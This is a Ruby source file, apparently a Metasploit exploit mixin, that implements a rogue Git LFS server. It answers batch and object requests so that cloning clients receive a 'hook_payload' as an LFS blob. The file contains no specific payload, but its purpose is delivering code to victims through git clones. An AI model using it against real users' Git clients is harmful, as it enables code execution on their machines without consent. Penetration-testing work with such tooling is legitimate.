120 lines
3.9 KiB
Ruby
120 lines
3.9 KiB
Ruby
module Msf
|
|
# This mixin adds functionality to enable modules to send and receive git LFS objects
|
|
module Exploit::Git::Lfs
|
|
include Msf::Exploit::Git
|
|
|
|
def generate_pointer_file(obj_data)
|
|
return '' if obj_data.empty?
|
|
|
|
<<~PTR_FILE
|
|
version https://git-lfs.github.com/spec/v1
|
|
oid sha256:#{Digest::SHA256.hexdigest(obj_data)}
|
|
size #{obj_data.length}
|
|
PTR_FILE
|
|
end
|
|
|
|
# Generates a Git LFS response to a batch request
|
|
#
|
|
# @param [Rex::Proto::Http::Request] the Git LFS request
|
|
# @param [String] the URL of the Git server
|
|
# @param [Array] list of objects in Git repo
|
|
#
|
|
# @return [Msf::Exploit::Git::Lfs::Response]
|
|
def get_batch_response(request, server_addr, repo_objects)
|
|
server_addr = server_addr.to_s unless server_addr.is_a?(String)
|
|
server_addr = server_addr.gsub(%r{/\w+\.git}, '')
|
|
|
|
repo_objects = [ repo_objects ] unless repo_objects.is_a?(Array)
|
|
response = Msf::Exploit::Git::Lfs::Response.from_http_request(request, server_addr)
|
|
return nil unless response
|
|
|
|
unless response.valid_objects?(repo_objects) || response.code != 200
|
|
print_error('Client requested objects not in repository')
|
|
return response
|
|
end
|
|
|
|
obj_data_arr = []
|
|
response.valid_objs.each do |obj|
|
|
sha = Msf::Exploit::Git::Lfs::Response.obj_sha256(obj.content)
|
|
time = Time.now + 3600
|
|
obj_data_arr <<
|
|
{
|
|
'oid' => sha,
|
|
'size' => obj.content.size,
|
|
'actions' =>
|
|
{
|
|
'download' =>
|
|
{
|
|
'href' => "#{response.base_addr}/#{sha}",
|
|
'expires_at' => time.strftime('%FT%TZ'),
|
|
'expires_in' => 3600
|
|
}
|
|
}
|
|
}
|
|
end
|
|
|
|
response.body = { 'objects' => obj_data_arr }.to_json
|
|
|
|
response
|
|
end
|
|
|
|
# Generates a response to a Git LFS object request
|
|
#
|
|
# @param [Rex::Proto::Http::Request] Git client request
|
|
# @param [Array] list of objects in Git repository
|
|
#
|
|
# @return [Msf::Exploit::Git::Lfs::Response]
|
|
def get_requested_obj_response(request, repo_objects)
|
|
repo_objects = [ repo_objects ] unless repo_objects.is_a?(Array)
|
|
|
|
response = Msf::Exploit::Git::Lfs::Response.from_http_request(request)
|
|
return nil unless response
|
|
|
|
unless response.valid_objects?(repo_objects) || response.code != 200
|
|
print_error('Client requested an object that is not in the repository')
|
|
return response
|
|
end
|
|
response.body = response.valid_objs.first.content
|
|
|
|
response
|
|
end
|
|
|
|
def handle_lfs_objects(req, hook_payload, git_addr)
|
|
git_hook_obj = Msf::Exploit::Git::Lfs::GitObject.build_blob_object(hook_payload)
|
|
|
|
case req.method
|
|
when 'POST'
|
|
print_status('Sending payload data...')
|
|
response = get_batch_response(req, git_addr, git_hook_obj)
|
|
fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
|
|
when 'GET'
|
|
print_status('Sending LFS object...')
|
|
response = get_requested_obj_response(req, git_hook_obj)
|
|
fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
|
|
else
|
|
fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
|
|
end
|
|
|
|
response
|
|
end
|
|
|
|
def send_refs(req)
|
|
fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'
|
|
|
|
response = get_ref_discovery_response(req, @refs)
|
|
fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response
|
|
|
|
response
|
|
end
|
|
|
|
def send_requested_objs(req)
|
|
upload_pack_resp = get_upload_pack_response(req, @git_objs)
|
|
unless upload_pack_resp
|
|
fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
|
|
end
|
|
|
|
upload_pack_resp
|
|
end
|
|
end
|
|
end
|